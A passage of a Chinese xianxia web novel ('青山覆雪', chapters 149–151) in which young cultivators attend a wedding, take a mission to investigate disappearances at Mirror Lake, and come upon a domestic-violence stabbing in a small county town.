“是是是,就今日是哭包儿。”冬苓点头附和道。 邱漓显然不信秦在锦的话,口齿不清地说道:“三日后念姐归宁,你肯定会再哭一场。” 哪怕这人此时嘴里塞了两颗糖,也一点儿都不耽误她吐槽秦在锦。 毕竟,长这么大吃的糖加起来都没这两日吃的多。 “我才不会!”秦在锦反驳道。 而刚巡查完一圈回来的江洵,在看到秦在锦红肿的双眼时愣是没忍住笑出了声。 “哎呦,瞅瞅我们锦哥这可怜儿见的。”江洵笑着说道。 紧跟在江洵身后的傅霖,则默默掏出帕子递了过去。 他虽然不明白这种大喜之事为什么要哭,但当朋友哭的时候,直觉告诉他坐在一边默默陪着总是没错的。 可这帕子在递出去的瞬间,被江洵伸手拦了下来。 “嗯?”傅霖有些不解地望着江洵。 “你这帕子上所绣的梨花儿……”江洵蹙眉问道。 “哦,我阿娘绣的。” 傅霖说完,垂眸看了一眼手中的帕子。 这就是很简单的深蓝色帕子,只不过其右下角绣着三两朵洁白的梨花。 所以这梨花怎么了? 不是挺好看的么! 跟江洵他那香囊上绣的歪歪扭扭的碗比起来,简直是一个天上,一个地下! “你阿娘?”江洵重复着问道。 “对啊。” 这个刺绣江洵曾经见过。 不仅见过,他还摸过。 那位曾经在岭泉村小住几日的神医,她随身携带的包袱上便绣着两三朵洁白的梨花。 江洵第一次见到包袱上的梨花时,就被深深吸引住了。 那些花儿实在太干净无瑕了,以至于他一度误以为那是贴在包上的真花。 他想要触摸这些花儿,但又怕自己脏兮兮的小手会弄脏它们。 毕竟,花是白的,他是脏的。 可神医并没有因为他的寒酸和狼狈而嫌弃他。 相反,她微笑着摸了摸江洵的头,用温柔的声音鼓励道:“摸摸看吧,看看是不是真的。” 得到允许,江洵才敢小心翼翼地伸出手,轻轻地触碰了一下那朵梨花。 指尖传来的触感告诉他,这并不是真正的鲜花,而是精美的刺绣。 “是假的,但亦是真的。”江洵轻声道。 “哦?为什么这么说呢?”神医饶有兴趣地问道。 “绣在布上的是假的,入我眼中的是真的。” 神医听完江洵的解释,不禁愣住了片刻,然后突然放声大笑起来。 江洵见状,心里顿时忐忑不安,以为自己说了什么不该说的话惹得神医发笑。 他尴尬极了,立马低了下头,甚至不敢再看神医一眼。 “哎呀,你这孩子真是太可爱了!比我家里那个整天只知道摆张臭脸的儿子可爱多了!” 神医边笑边说道,并张开双臂作势要抱抱江洵。 江洵吓得一动也不敢动,倒不是担心神医会对他不利或者伤害他,而是害怕自己身上的灰尘会沾到神医干净整洁的衣服上。 那么,若这绣花都是出自同一人之手,神医就极有可能是傅霖的母亲。 可当初在栖花里之时,他有仔细留意过画像上的林笑君,她的模样分明同神医并不相似。 “你娘......可会易容之术?”江洵追问道。 傅霖听到这个问题,挑了下眉,随即反问:“你怎么知道我阿娘擅长此术?” 如此一来,倒也说的通了。 也许当时的林笑君在出了龙潜谷以后,便换了一副容貌。 此举不仅可以隐瞒自己的身份,还能隐藏自己的面容。 原来,他最先遇见的人是傅霖的娘亲。 原来,她口中那整天摆着张臭脸的儿子就是傅霖。 因为林笑君来到岭泉村,所以被暮商宗的人注意,引发了后续的屠村事件。 而又因着屠村事件,他得以被路过的江挽等人所救,随后又跟着江挽来到了献岁阁,遇见了摆着张臭脸的傅霖。 看来,一切都有迹可循。 他又想起曾在上荷之时,莫惊云说过,当年的检查是一场误会,林笑君的身份没有任何问题。 想来倒还真的是场误会,毕竟身为其儿子的傅霖,所使用过的弥生符并未发生过一丝变化。 那么岭泉村全村人的性命,也能算是一场误会吗?? 他们在尚未调查清楚事情的来龙去脉之前,就贸然对无辜的百姓出手。 他们甚至都没有使用弥生符,来给那些人做一下血液检测。 他们在没有问出想要的答案以后,就轻而易举地给岭泉村的村民判了死刑。 这是多么的可笑! 又是多么的讽刺啊! 江洵瞬间觉得有些毛骨悚然。 他想,自己有朝一日是否也会因为这莫须有的罪名而身首异处? 这章没有结束,请点击下一页继续阅读!傅霖发现了江洵的异样,收回帕子连忙问道:“怎么了?” 而江洵只是苦笑地摇了摇头,有气无力地回:“没什么,只是想起了之前的一些事情。” “那需要我给你腾个位置么?”秦在锦说话间吸了下鼻涕,示意江洵坐过去陪他一块儿哭。 “此等好事儿,兄弟站边儿上看着就行了,还是不陪了。” 虽然江洵眼下还能同秦在锦有说有笑的聊天,但傅霖知道这事儿它就没翻篇儿。 那个帕子背后定然有着他不知道的事儿! 可江洵既然不愿意多说,他也不能上赶着问。 怪招人烦的! 而另一边,暮商宗内。 “看着就烦!!”南宫珩朝萧旻所在的方向翻了个大大的白眼。 “那就别看了。”南宫娴长舒一口气,抬手倒了杯酒,一口饮下。 她一直都知道自家弟弟喜欢秦念淑,但她也一直都清楚秦念淑只喜欢萧旻。 他们南宫家还真是官场得意,情场失意。 个个都是痴情种,又个个都爱而不得。 别看她爹娘时常出双入对的惹人艳羡,其实这几十年也都是过着相敬如宾的日子罢了。 “我就要看!”南宫珩赌气的说道。 “看吧,反正看不惯这场婚事的人也不止你一个。” 南宫娴言语间瞄了眼坐在不远处的花时雨。 那人从入席开始,就一副冷若冰霜、拒人千里之外的样子。 也许旁人看不出什么,但对于时常同她打交道之人,一眼就能瞧出那姑娘心情十分不好。 瞅瞅那杯子上的裂纹,怕是再用些劲儿就会被她生生捏碎。 “都说了,你来这儿就是找罪受,偏不听呢。” 许歆边说边将糕点推过去一些,花时雨已经伤心的两天没吃饭了。 只听花时雨冷笑一声,盯着许歆的眼睛问道:“倘若他日沈亦行大婚,你可去?” “当然要去,我不去他跟谁结?”许歆想也没想的就回道。 “沈亦行根本就不喜欢你,你还是趁早断了这份心思。莫要像我一样,活成一个笑话。” “难道我喜欢他,就得要求他一定得喜欢我吗?” 许歆伸手拿了一块桂花糕,在尝了一口后皱了下眉头,这也忒儿甜了! 到底都是谁在吃这种糕点! “也许世人都说你们般配,所以你理所应当的认为他的妻子一定会是你。可是小雨......” “萧旻是自由的,是独立的,同样的,你也是。不要总听旁人怎么说,听听自己的心怎么说。” 这话若是能早点告诉花时雨,或许她还不会陷得那么深。 可如今一切都晚了。 打从记事儿起,站在她身旁的人就是萧旻。 到了情窦初开的年纪,她身边站的依旧是萧旻。 他们都说她和萧旻是天作之合,就连萧旻的父母也多次明里暗里的说起她嫁过来以后的事儿。 否则又怎会问她想要在院子里种什么花? 可是为什么? 为什么今日穿着喜服同萧旻拜堂成亲之人会是秦念淑?! 她在此之前不是没有问过萧旻,为何会是秦念淑。 谁都可以!但唯独不可以是秦念淑! 他爹爹当年明明可以活的,是秦念淑见死不救,不肯赐药! 可萧旻却避开了这个话题,甚至还反问她“为什么不能是秦念淑?” 呵呵,他明明什么都知道的,怎么还要反问她? 那她算什么? 她这么些年的付出的感情算什么? 若是不喜欢,若是没有这个心思,为何不直接了当的叫醒她? 告诉她这不过是黄粱一梦。 “我的心告诉我,我的喜欢没有错。” 错的是萧家,是萧旻。 许歆长叹一口气,得了,方才那几句话都白说了。 也是,感情这种事儿若是她许歆自己想不通,那旁人说再多都没用。 一场婚礼下来,有人欢喜有人忧愁。 当然,也有人的准备落了空。 阳春门和暮商宗这两日并未出现可疑人员,而沈峥渡的人自始至终都未曾露面。 —— 东宁城和南华城之间,横卧着一座宛如明镜般清澈透明的湖泊,名曰镜湖。 湖畔之侧,有一个规模不大却热闹非凡的县城,名为隅湘县。 隅湘县里有一家小小的饭馆儿,虽然其貌不扬,但名声在外。 凡过往的商客途经隅湘之时,大都会选择在此稍作停留,并走进这家饭馆,点上几道招牌菜,好好地“品尝”一番。 这家饭馆似乎打着干完这一单生意便溜之大吉的算盘,每次所烹制出来的菜肴简直堪称灾难。 要么是盐巴像不要钱似的拼命往里撒,咸得让人舌头都快麻掉;要么便是将白糖当成食盐误用,甜腻的味道直冲天灵盖,叫人难以下咽。 可怪就怪在,即便饭菜做得如此糟糕透顶,仍然有络绎不绝的食客前来光顾。 当然,来的都是新客,倒不是小二脸盲,是因为他真的从未见过有回头客。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!时间久了,小二也琢磨出其中的门道来。 这些人压根不是来吃饭的,而是来挑战味蕾的! 因为他们“偏不信邪”呀! 当路经此地听闻这家饭馆的恶名后,特意赶来尝尝看这里的饭菜究竟能够难吃到何种地步! 这不,又有五位“不信邪”的客官来花钱找苦吃了。 不过仔细打量这几位客人的装扮,能看得出他们并非商人,而是身怀绝技、云游四方的修行之人。 小二怎么说也算是见过世面的,这两年也曾见过不少行走江湖之人来此处用饭。 自南华城和东宁城在经过不断地建桥及修路后,不仅极大地促进了两城的贸易往来,更是吸引了不少文人墨客和江湖人士纷纷涌向两城。 而对于处在中间地带的隅湘县来说,简直是坐收渔翁之利。 在此之前,这里可以说是处于一种被边缘化的状态,两城都不稀罕管。 且因着交通不便,无论是前往南华城还是东宁城,都既耗时又耗力。 甚至连出门乘船这种常见的出行方式,也因为那湖底的湖妖不得安宁,生怕落得个尸骨无存的下场。 可自从修了桥,扩了路。 嘿!去哪儿都方便! 反倒成了个香饽饽! “几位客官里面请!”小二笑着上前将五人迎进门。 “就不能换一家吗?”其中一名男子皱起眉头抱怨起来。 小二闻言,抬头看了这人一眼,好一副英俊的面容啊,可惜怎么如此不会说话呢? 哪有进了门才说要换一家的?还当着他的面说?故意膈应他呢? “你爱吃不吃。”另一名男子没好气地回道。 嗯!还是这话说的中听!小二立马转头瞄了这人一眼。 嚯!这位公子也生的好看,但同方才那位“不会说话”的公子可不一样。 方才那位看着就不好惹,尤其是当他挑起眉毛的时候,眉眼之间的那颗痣平白增添了几分凌厉之气,令人望而生畏。 而这位公子的眉眼显得颇为柔和,尤其是当他嘴角微微上扬、展露出笑容之时,那一瞬间仿佛春风拂面,让人不由自主地想要再多看几眼。 他觉得自己若是个姑娘的话,定会喜欢眼前这位公子。 这五人找了个靠窗的位置坐下,其中年龄最小的那位姑娘兴致勃勃地拿起菜单,伸手点了几个店里的招牌菜。 当她还想再点点儿什么时候,被人出声制止了。 “啧,吃的不多,点的倒挺多!给我放下!” 眼下这位“不会说话”之人不是傅霖又是谁。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第150章 罪魁祸首 邱漓闻言,虽然面上生气,但还是乖乖地把菜单放下去了。 谁让这顿是傅霖掏钱呢!谁掏钱谁就是爷! “这家店是非吃不可吗?” 冬苓十分不解的问道,到底是谁非要来这家店的?她看旁边那一桌的人都快吃吐了。 “对!非吃不可!” 罪魁祸首之一的秦在锦正在帮忙摆放碗筷,仿佛现在多干一点儿,一会儿就能少挨骂一点儿。 “来都来了,尝尝嘛!” 罪魁祸首之二的邱漓正襟危坐着,极力降低自己的存在感,生怕多说一句就被她霖哥爆头。 而坐在靠墙位置的江洵正在翻看着手中的任务书。 —— 镜湖吃人一案自颂德三十八年直至怀德九年,此二十四年间,路过镜湖的商队多数在行至湖中心时发生人员及船皆凭空消失的情况。 这些年间,凡接下镜湖任务的弟子均无一生还。 此案移交中律司,望派有能之士择期抵达镜湖。 此次任务奖励为:黄金三十两、魂珠三颗、灵晶十颗。 此次乙类多人协作任务如下: 其一:查明近年来,在镜湖接连害人者为何物,同时需确保周边百姓的生命安危; 其二:不论其因果,皆就地杀之; 其三:若此任务等级评判失误,还请道友量力而行,中律司会召集距此地最近并与之相匹配之人前去相助。 那么,祝各位道友此程平步青云,万事顺遂。 —— 他本不想接这个任务,虽说奖励比寻常任务高出不少,但仔细盘算下来,其实并不划算。 况且,这个任务相较于其他的任务来说,并非迫在眉睫。 只要往来的商队避开走水路这条路线,遭遇危险的可能性就会大大降低。 再者说,镜湖湖底的妖物已在此处盘踞多年,想要彻底铲除绝非易事,绝不可能在短时间内一蹴而就。 可江挽却执意认为镜湖这个任务至关重要,让他将这个任务从头到尾的查个清楚,最好赶在七月份弟子大会之前完成。 眼下正值五月,倒还有些时间。 只是不知为何,他近来总有一种奇怪的感觉,他觉得江挽这半年以来的种种行为表现都透着几分不对劲。 他之前从未见过江挽手持幽兰令发号施令、调遣众人去执行任务。 因为真遇到什么事儿的时候她都是亲力亲为,尽量不麻烦阁中之人。 可最近却并非如此,就连已经上了年纪的陈叔都未能幸免,被江挽用幽兰令指使着外出执行任务去了。 他甚至在想,若不是赵玉洲尚且年幼无法外出执行任务,恐怕也难逃一劫。 而且,不知从何时起,江挽总会有意无意地与他谈论起江湖中的一些人和一些事。 这若是放在以前,他必定满心欢喜地伫立在一侧,一字不漏地听着。 可如今他却一句也听不进去。 因为这些言辞听起来着实不像是闲谈,反倒像是一种交代和嘱咐。 “想什么呢?”傅霖动作轻柔地倒了一杯水,并缓缓递到江洵面前,关切地问道。 “待这个任务结束,我打算回阁中小住些时日。” 江洵伸手接过水杯,他还是觉得不放心。 事出反常必有妖。 傅霖听闻此言,先是稍稍一愣,随后颔首道:“可以,我陪你。” “要陪也是我陪啊,你又不是我们三阁的弟子。”邱漓插话道。 “那又有你什么事儿?”傅霖没好气的白了邱漓一眼。 邱漓本该在入阁满两年后才能出门执行任务,但是江挽知道这丫头的心思根本就不在三阁。 与其让她跟着赵玉洲天天去方知许那听课,倒不如让她跟着江洵出去历练一番,也好磨一磨性子。 起初,几人还担心这丫头会给他们拖后腿,进而耽误任务的进度。 可事实是,这三年间,这样的情况一次都没有发生过。 她的想法很简单,打的过就上,打不过就跑,绝对不拖拉! 中律司给的信号筒全都放在她身上,这丫头瞅准时机就会向另外几人求救,主打一个不逞强不内耗。 而且,因着自身的体术和剑术不行,她便时常缠着江洵和傅霖教她。 怎么说也都是献岁阁的人,教她点儿东西也不过分吧! 江洵很温柔,且十分有耐心,不懂不会的地方会反复的教她。 还叮嘱她别害怕也别气馁,没有谁生来就该会这些。 可是傅霖就完全不是那么回事儿了! 不仅凶得要死!还回回都说她笨。 明明在此之前,无论是深塘坞的嬷嬷还是鸣蜩山的长老,都夸她聪明伶俐。 怎得到了傅霖这儿,就是愚不可及了? “这话应该我问你,又有你什么事儿啊?”邱漓哼哧一声,不服气的回道。 咱打不过你还说不过你了??? “我是他师兄!” 邱漓一听,立马撇撇嘴回道:“哦呦,哪门子师兄啊?我怎么没听洵哥喊过你师兄啊!” 这章没有结束,请点击下一页继续阅读!她只听江洵喊过乔诀师兄,至于傅霖,不向来都是指名道姓的称呼么? “我看你是剑法学的太好了,所以说话才能那么硬气是吧。” “我......我.......” 行吧,咱也说不过。 “对哦,你为何不喊他师兄了?”秦在锦不解地问道。 他记得江洵之前好像是天天喊傅霖师兄来着,可后来似乎没听他这么喊过了。 “他师弟多,不缺我一个。”江洵淡淡说道。 冬苓闻言瞄了下傅霖的表情,那人正一副哑巴吃黄连有苦说不出的样子。 这么好的时机,怎能不调侃一番? 只听冬苓咂舌道:“这有些人呐!就是死要面子活受罪。” 这三年来,无论江洵去哪儿做任务,傅霖在无事的情况下都会陪着。 以前的傅霖,总是想着接一些有挑战性且有成就感的任务,如今却反而没了这种追求。 于是,三人组逐渐变成了五人组,哪怕有的任务只需要四个人,另一人也会陪着一起去,即便拿不到任何的奖励和排名。 其实冬苓这话不仅是在说傅霖,还是在点江洵。 放长线固然可以钓大鱼,但也要时不时的撒些鱼饵进去。 “你家乡可是在南华?”江洵转移了话题,抬眸问道冬苓。 “嗯~怎么?洵哥可要去我家中坐坐?” “不了,婉拒了。” 他记得冬苓曾提过一嘴,家中有五个兄长来着。 他可不想在踏进门的第一步,就被五双眼睛直直地盯着审视。 怎么突然有点心疼秦在锦了呢? 这以后冬苓要是受了什么委屈,秦在锦还有命活下去吗? 就在几人谈话间,方才点的那几道菜也都上齐了。 但是,无一人动筷。 平日里吃饭都要拼手速的五人,眼下倒好,还都谦让了起来。 “客官,小店的饭菜绝对没毒的呀,您几位怎么……都不动筷子呢?”小二满脸堆笑地站在一旁,小心翼翼地看着桌前坐着的几个人。 只见邱漓坐在那里,一双大眼睛滴溜溜地转着,然后目光停留在了几人中最为年长的傅霖身上,轻声说道:“大哥先吃。” 声音虽然不大,但却充满了尊敬之意。 傅霖听到这话,不由得冷哼了一声。 这会儿倒是知道长幼尊卑了? 刚才怼人的时候怎么就那么嚣张,活像被鬼上身了似的! “阿漓正是长身体的时候,还是阿漓先吃吧。” 说着,便伸手把面前那一盘卖相着实有些糟糕的鸡肉端到了邱漓跟前。 这鸡肉也不知道是怎么做的,颜色黑不溜秋的,一看就知道是酱油放多了。 邱漓见此情形,连忙摆手道:“不不不,大哥先吃!” 傅霖皱了皱眉,坚持道:“阿漓听话,你先吃。” 就这样,两人你来我往地互相推让着,一个非要对方先动筷,另一个则死活不肯。 最后,傅霖脸色一沉,略带威胁地说道:“让你吃就赶紧吃,再啰嗦一句试试看!” ...... 邱漓撇着嘴,伸出筷子夹了块鸡腿肉。 这个部位的肉,应该不会做的很难吃。 但当她尝到味道的那一刻,还是高估了厨子。 可是再难吃她也不能表现出来,毕竟,这家店是她强烈要求来吃的。 “好吃的。”邱漓僵硬地说道,尽量让自己的面部表情表现的自然一些。 “好吃你就多吃点,切莫浪费。”江洵说道。 哈??? 邱漓一副欲哭无泪的表情。 所以,爱会消失对吗? 你不疼阿漓了吗? 一顿饭吃的五个人都面露难色,而邱漓和秦在锦更是不敢抬头说一句话,生怕连呼吸都是错的。 以后这么冒进的事儿还是不要尝试了。 “现在就去镜湖?还是先在周边打听打听?”傅霖伸了个懒腰问道。 “先了解一下情况再去。”江洵回。 隅湘的街道相比之前来说,确实是繁华了一些,但归根结底,也不过是刚刚脱贫。 幽深曲折的巷子深处,不时传来孩童们天真无邪的嬉闹欢笑之声,以及叫骂声...... 等等......叫骂声??? 冬苓猛地停下了脚步,有热闹??? 那这不得凑上前去看看? 只见一位头发花白的伯伯正坐在自家门口嚎啕大哭,一边哭还一边用手指着对门那家住户破口大骂:“你们这群没良心的东西,简直就是丧心病狂啊!做出这种缺德事,就不怕遭到老天爷的报应吗?” 待走近了才发现那伯伯浑身上下都是血,甚至在他情绪激动地挥舞手臂时,有些伤口还在不停地往外渗出血迹。 秦在锦见状,连忙快步走上前去,试图帮助伯伯包扎伤口止血。 但那位伯伯却丝毫不领情,不仅对秦在锦的好心视而不见,反而一下子站起身来,径直冲向对面那户人家紧闭的大门。 “你们弄这腌臜之物来破我家气运!!你们就不怕遭雷劈吗????” 本小章还未完,请点击下一页继续阅读后面精彩内容!面对门外伯伯的怒斥与拍打,屋内的那户人家却是出奇的安静。 无论这人如何闹腾,始终都听不到屋里传出的回应或反驳,整个场面显得异常诡异。 “伯伯,你切莫再动了,这血若不及时止住的话,你会没命的。”秦在锦劝说道。 “不就是一条命!我就是死!也得让街坊邻居都瞧瞧,这家伪君子背地里都干了什么破事儿!” 江洵看着眼前混乱的场景,眉头紧皱,无奈地说道:“打晕了就安静了。” 如果真的不在乎这条命了,那又怎会急着讨要一个说法? 更何况他手中还握着一把剪刀,尽管已经锈迹斑斑,但若是用来伤人,还是能够造成一定威胁的。 站在一旁的秦在锦听到这话后,脸色变得有些难看。 而就在这时,傅霖迅速出手,反手一记手刀准确无误地落在了那伯伯的脖颈处。 只听一声闷哼,那人的身体像失去了支撑一般,直直地向后倒去。 秦在锦见状,连忙上前一步,伸出双手紧紧地托住了那老伯摇摇欲坠的身躯。 这么大年纪的人,要是真看着他直挺挺地摔倒在地,还真能摔出个什么三长两短来。 等到确定那老伯完全安静下来之后,秦在锦小心翼翼地将其背起,朝着老伯家中的院子走去。 随后,秦在锦轻轻地将老伯放在一张破旧的竹椅上,然后转头看向身后跟进来的冬苓,低声嘱咐道:“帮忙把门关上。” 冬苓闻言点了点头,伸手将木门缓缓合上。 当一切都安顿好之后,秦在锦定了定神,查看起老伯身上的伤势。 待衣物掀开,看到那些触目惊心的伤口时,忍不住让人倒吸一口凉气。 他身上竟有好几处刀伤,而且这些伤口分布得毫无规律可言。 从形状和深度来看,持刀行凶之人显然并不精通武艺,更像是在情绪极度激动之下胡乱捅刺所形成的。 “不觉得奇怪吗?”冬苓后背轻轻地倚靠着门扉,开口说道。 “是挺奇怪。”江洵回。 这人方才又哭又闹又拍门的,闹出了这么大的动静,却没有一个邻居出来劝说一二。 再看对面那户人家,被人指着鼻子这么骂,却从始至终也未见有人从里面走出来做出任何的解释或者反驳。 竟如此沉得住气?还是说心虚到不敢见人? 除此之外,这人为何在身中数刀之后不去报官呢? 这个地方虽然是穷了些,但好歹也是一个县城,总不会没有衙门。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第151章 表里不一 “谁!”傅霖猛地厉声道,他方才瞥见窗户边儿有个黑影一闪而过。 “大哥,轻声些,难道咱们私闯民宅光彩吗?”邱漓出言提醒道。 说罢,她轻手轻脚地走到窗前悄声问道:“请问屋里有人吗?是住在这儿的人吗?那位伯伯受伤的事情您知情吗?” 屋内先是一阵沉默,紧接着传来一个女子支支吾吾的声音:“我……我是……” “姑娘放心,我们并非坏人,只是路过此地执行任务的人员,姑娘若是不信,我可以出示相关物件的。” 虽然没有听到回复,但邱漓依旧追问道:“您现在方便出来说话吗?或者,方便我们进屋问话吗?” 又是一片死寂,邱漓不禁皱了下眉,下意识地看向了站在不远处的江洵。 江洵用眼神示意她先进屋探一下情况,对方既是女子,那他跟傅霖贸然进屋的话不太妥当。 邱漓了然,深吸一口气后再次开口问道:“姑娘若是不回话,我就当你是默认了。” 等她推门进去时,看到了一个蜷缩在角落,而上半身还沾着血的姑娘。 不过好在,脖子处的伤口已经被包扎起来了,虽然包扎的歪歪扭扭、毫无章法。 邱漓一时间有些拿不定主意,这是什么意思?两人互殴? 可互殴至于下死手吗? “院子里躺着的那位伯伯是姑娘什么人?” “是我爹。” “原来如此,那你脖子上的伤......” 对面又是一阵沉默,这让邱漓感到有些难办。 屈打成招?貌似不太好吧。 威逼利诱?似乎也不行吧。 “对面那一户跟你们家什么关系吗?”冬苓走进来问道。 姑奶奶,你就是救星啊!!!!邱漓见状立马乖巧地站到冬苓身后去。 “你若不说,那我们可就报官了。”冬苓说这话的时候,转动眼眸,开始打量起这间屋子的布局。 不知为何,她总觉得这屋子透着一股怪异的气息,却又一时难以言明究竟是何处不对劲。 即便是此刻正站立于有阳光斜射而入的位置,依旧能感受到丝丝缕缕的阴冷之气扑面而来。 按理说,当下正值五月,无论是室内还是室外都不该是这种温度。 正当冬苓狐疑之际,那姑娘拔高音量回道:“不要报官!!!不可以报官!” 冬苓微微颔首,表示自己听到了对方的回答。 随后,她转身坐在一旁的椅子上,若有所思的说道:“可你什么都不说,让我们很难办啊。” “我说我说。” 她叫崔小淇,方才那位伯伯是她的父亲——崔进西。 打她记事儿起,娘亲就去世了。 听她爹说她娘是难产去世的,一同死的还有她那未出世的弟弟。 自此,这家中便只有他们父女二人相依为命。 崔进西虽没什么大本事,但好在厨艺不错,因而得以在隅湘东街的那一户富贵人家做厨子,但所赚的钱也仅仅只够二人日常开销罢了。 而在去年,也就是她十七岁的那年,住在对门的婶婶找上门来。 她是这十里八乡出了名的媒婆,她说她是看着小淇长大的,又念着小淇没有娘亲,活的不容易,所以说什么也要给她介绍一门好亲事。 崔进西听她这么说,甭提有多开心了。 他这辈子最大的心愿,就是能看着自家闺女过上平凡但幸福的好日子。 起初,崔小淇也在那媒婆的安排下相看了几位公子,但要么是崔小淇觉得不合适,要么是人公子没有看上她。 媒婆这下也犯了难,旁敲侧击地去问崔小淇喜欢的标准,可崔小淇每次的回答都是看眼缘。 可眼缘这种东西,最是模棱两可的回答,也是最难等的缘分。 而后,媒婆又向崔小淇介绍了一个人,是唐家的长子,唐振。 虽说家中算不上富裕,但当媒婆绘声绘色地描述起那个孩子时,还是让人不禁心生期待。 据她所言,那孩子不仅头脑聪慧,而且为人处世圆滑周到,想来往后的日子不会难过。 而崔小淇在同唐振见过几面后,也点头应允了。 终于在今年年初的时候,崔小淇的婚事定下了。 可刚结婚了没半年,崔小淇便想毁婚,说啥也要同唐振和离。 而她给出的理由是唐振脾气暴躁,常常对她拳脚相加、恶语相向。 只是这番说辞一经传出,根本无人相信。 毕竟,那唐家在当地可是出了名的和善之家,一家子人的脾气都好得没话说。 就连崔进西都觉得是自家闺女在无理取闹,让她多担待着点儿,而且他瞧着人小唐性子挺温顺谦和的,完全不像小淇形容的那般恶劣不堪。 就在前两天,唐振提着礼品来到崔家登门拜访,同时也是想将崔小淇接回家去。 只见他满脸笑容地同崔进西说道:“咱家虽算不上有钱,但也从未缺过小淇吃喝,日后也定不会让她受任何委屈。” 崔小淇听到这话冷笑一声,嘲讽道:“我求求你别再装了行不行?你这样不累吗?” 这章没有结束,请点击下一页继续阅读!“你这丫头怎么跟丈夫说话的!”崔进西出声喝道,并让崔小淇赶紧跟唐振道歉。 “我就是这么说话的!他要是不爱听,那他就去死啊!”崔小淇说完这话就跑了出去。 崔进西面露难色,同时让唐振别往心里去,还说是自己把这丫头宠坏了,等她回来定会同她再好好说道说道。 等二人又闲聊了几句后,唐振才同崔家离开。 然而,他才刚刚离开不远,便隐约听到了一阵熟悉而又令人揪心的哭声。 那声音,怎么听都像是崔小淇的。 唐振不由自主地放慢脚步,循声而去。 待到靠近声源处,他躲到巷子一侧的拐角后,然后悄悄地探出半个脑袋向里面张望。 只见那崔小淇此刻正哭得梨花带雨,娇柔的身躯紧紧地依偎在一个男子的怀中。 而那个男子,不是别人,正是媒婆的儿子,也是自己的好兄弟辛时年! 唐振瞪大了眼睛,一时失神,踢到了脚边的一块石头。 虽然这声音并不大,但在这寂静的巷子里却显得格外清晰,瞬间吸引了另外两人的注意力。 崔小淇何等机敏,仅仅是眼角余光瞥见墙角处所露出的一角衣物时,她便猜到了躲在墙后的人究竟是谁。 可她并没有上前解释,而是拉起辛时年的手,转身匆匆离去。 时间倒回到今天,约莫寅时的时候。 突然间,崔家院子里传来一阵沉闷的声响。 崔小淇被这突如其来的动静惊醒,匆忙披上一件外衣,便蹑手蹑脚地下床前去查看。 当她看清来者竟是唐振之后,没好气地冲他喊道:“大半夜的,你来这里干什么?” 唐振见到崔小淇这般冷漠的态度,心中不禁涌起一股寒意。 他冷冷地反问道:“娘子以为会是谁呢?瞧娘子这副表情,似乎十分失望啊。” 崔小淇长叹一口气,开口道:“我跟你没什么好说的了,我只想同你和离!” “和离?然后你想同谁在一起?辛时年?你以为那辛时年又是什么好东西?” “那也比你好过千倍万倍!”崔小淇眼下不想再同他掰扯下去,转身就要回屋。 可唐振却将背在身后的手举起,快步朝着崔小淇走去。 崔小淇刚想问他为何还不滚的时候,便只觉得脖颈处传来一阵刺骨的疼痛。 是那唐振一刀划伤了她肩颈,鲜血顿时将领口的衣衫浸湿。 惊慌失措下的她也不知道哪来的力气,拼尽全力将唐振撞倒在地后。 紧接着便头也不回地往房间跑去,可唐振趴在地上此时却死死拽住了她前进的脚踝。 听到动静的崔进西刚从房中走出,当他看到眼前拿着刀的唐振以及已经受伤流血的女儿时,心中不由得一惊。 这下,她才相信了崔小淇的前几天说的话。 眼见着女儿身陷险境,崔进西想都没想,立刻伸手拎起身旁的一张凳子,毫不犹豫地朝着唐振的胳膊狠狠地砸了下去。 只听“咔嚓”一声脆响,唐振吃痛,不由自主地松开了紧握着崔小淇脚踝的那只手。 崔小淇感觉到束缚消失之后,立马撒开脚丫子拼命往屋子里狂奔而去。 与此同时,她还顺手“砰”的一声用力关上了房门,并迅速插上了门栓。 可她关门的时候,却忘了崔进西此时还在门外没有进来。 即便是听到了崔进西急促地敲门声,她却不敢有丝毫的动作。 她被打怕了,她不敢放那人进来。 唐振笑的一脸狰狞地从地上缓缓爬起,手持利刃一步一步地靠近崔进西。 崔进西慌乱地看向四周,想要找个趁手的东西来反击,可他身旁却空无一物。 他不敢向别处跑去,因为门后是他的女儿,是他的全部。 就在他转身的瞬间,被唐振连刺几刀后跌倒在地。 门外是丈夫阴森恐怖的笑声,以及父亲绝望痛苦的狰狞声。 而门内的崔小淇害怕地捂住双耳,仿佛只要没听见,就可以装作什么都没发生。 “咚咚咚——” 一阵急促而沉重的敲门声骤然响起。 唐振听到动静后,脸色微微一变,压低嗓音对着紧闭的房门轻声说道:“娘子,别想着逃跑,也别想着有人能救你,否则,来一个我便杀一个。” 在他从后院翻墙逃出去的同时,那敲门声也逐渐停止。 只听那辛时年焦急地喊道:“小淇,你在家吗?” 崔进西在听到辛时年的声音时,竟有一瞬间的惊愕。 那辛时年是已婚之人,就算半夜听到什么动静,也应该是问他在不在家,怎得会问起他女儿来了。 而他又突然想到,小淇这两日的反常来。 除了同他说那唐振的不好之外,还总是不着家地往外跑,直到天黑了才回家。 可他眼下已经没有那么多的心思去猜这其中原因了。 约莫又过了半炷香的时间,门外的动静趋于平静后,崔小淇才敢将门打开。 她看着浑身是血的崔进西时,颤抖地同他说对不起,她说她是太害怕了,她不是故意关门的。 本小章还未完,请点击下一页继续阅读后面精彩内容!崔进西在听到女儿的哭声时,疲惫的睁开双眼,问她究竟还有何事在瞒着他。 崔小淇这才如实交代,每当唐振打过她以后,辛时年都会瞅准时机,留下一瓶创伤药放在她的窗台。 直到后来,辛时年又会挑唐振不在家的时候,偷溜进去帮崔小淇上药。 唐振此人十分狡猾,每次对崔小淇动手之时,都会刻意挑选那些私密的部位下手,比如腹部或者大腿这些地方。 因为他太了解崔小淇的为人了,深知她将贞洁看得比什么都重要。 若是打在胳膊上,那她或许会认为掀开衣袖给旁人看看伤口也无妨。 然而要是伤处在腹部、胸部等部分,她宁愿忍着疼,也绝对不会轻易地把这些部位暴露给外人瞧上一眼。 所以他完全没有怀疑过崔小淇会与人苟且,更未怀疑过他的发小辛时年。 而当崔进西听完自家闺女所讲述的这一切之后,不禁悲从中来,口中更是连连责骂女儿实在太过糊涂! 那辛时年已是有家室之人,这日子就算再过不下去,也断不可跟他厮混。 “可是他主动招惹你的?”崔进西虚弱地问道。 听到父亲的问话,崔小淇轻轻地点了点头,低声应道:“是。” 